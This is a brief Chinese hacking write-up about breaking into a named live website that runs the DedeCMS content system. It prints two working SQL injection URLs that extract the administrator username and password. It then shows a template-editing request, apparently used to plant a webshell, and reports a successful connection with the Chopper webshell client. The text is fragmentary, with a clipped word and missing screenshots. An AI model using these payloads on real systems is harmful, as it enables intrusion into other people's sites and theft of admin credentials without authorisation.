首先到目标站看一眼程序源码
看到是织梦的系统了，涛涛电脑知识网，脑子里瞬间闪现出的就是织梦的默认版本号txt
我们来访问看看~
查看管理员帐号
/member/ajax_membergroup.php?action=post&membergroup=@`'`%20Union%20select%20userid%20from%20`%23@__admin`%20where%201%20or%20id=@`'`
查看管理员密码
/member/ajax_membergroup.php?action=post&membergroup=@`'`%20Union%20select%20pwd%20from%20`%23@__admin`%20where%201%20or%20id=@
我挨个点了下看看
呵呵
?do=edit_label&realdo=edit&file=besttopic.tpl&folder=/Dv/
再去看看别的页面功能吧~
点击高级设置进去-
菜刀连接试试~
功连接~
，www.xuhantao.com
